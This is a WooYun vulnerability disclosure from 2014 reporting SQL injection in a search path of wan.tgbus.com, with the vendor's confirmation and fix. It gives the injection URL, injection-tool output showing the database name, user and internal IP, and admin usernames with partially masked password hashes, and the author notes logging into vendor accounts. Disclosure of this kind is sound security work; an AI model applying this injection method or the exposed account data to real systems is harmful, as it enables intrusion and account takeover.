当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-057061

漏洞标题：电玩巴士某站search型sql注入可登录厂商账户

相关厂商：电玩巴士

漏洞作者： 浩天

提交时间：2014-04-14 18:44

修复时间：2014-05-29 18:45

公开时间：2014-05-29 18:45

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-14： 细节已通知厂商并且等待厂商处理中
2014-04-15： 厂商已经确认，细节仅向厂商公开
2014-04-25： 细节向核心白帽子及相关领域专家公开
2014-05-05： 细节向普通白帽子公开
2014-05-15： 细节向实习白帽子公开
2014-05-29： 细节向公众公开

简要描述：

I like '%tgbus%'

详细说明：

sql注入点地址：
http://wan.tgbus.com/kaifu/search/1'

1.jpg

漏洞证明：

因为不是参数形式提交的，所以中转注入了一下

http://localhost:8080/inj.php?id=1'
Target: 	http://localhost:8080/inj.php?id=1
Host IP:	localhost
Web Server: 	Apache/2.2.21 (Win32) PHP/5.3.8
Powered-by: 	PHP/5.3.8
DB Server: 	MySQL error based
Current DB: 	tgbus_wan
DB User: 	'tgbus_wan'@'172.30.26.26'
Data Bases: 	information_schema
                tgbus_wan
                test


报错看到是dedecms，直接添加的表名、字段

7.jpg


总共1200+的厂商，读了几个，可以解密、登录，也没在继续干啥了

5.jpg


下面是管理用户，打码了
dede_admin
Data Found: userid=lj331
Data Found: userid=xiaoyu
Data Found: userid=chenbangzhong
Data Found: userid=wyp
Data Found: userid=tangll
Data Found: userid=xuanch
Data Found: userid=zl
Data Found: userid=zhangj
Data Found: userid=tgbuscwb
Data Found: userid=wangjun
Data Found: userid=zgl
Data Found: userid=gaodi
Data Found: userid=cheny
Data Found: pwd=d1f188********96fb53
Data Found: pwd=c3949*******e56e057f
Data Found: pwd=9ab42*******9d614c5c
Data Found: pwd=ea5ad*******4f7b41a3
Data Found: pwd=1e5bc******b5602952a
Data Found: pwd=6c9fb*******b3b0d48b
Data Found: pwd=e***********8b172551
Data Found: pwd=0d47*********d540c13
Data Found: pwd=c394********e56e057f
Data Found: pwd=6c9fb***********d48b
Data Found: pwd=5cd17*******4b042e4a
Data Found: pwd=e6ffc*******998f3fe0

修复方案：

不是dede的问题，是新加搜索keyword参数没做处理

版权声明：转载请注明来源 浩天@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-04-15 09:53

厂商回复：

感谢白帽浩天指出的该站漏洞,现已核实,是由于开发在做二次模块开发时没有做好相应的安全过滤机制,导致的该问题的产生.现已将功能下线并进行修复.再次感谢白帽浩天.

最新状态：

暂无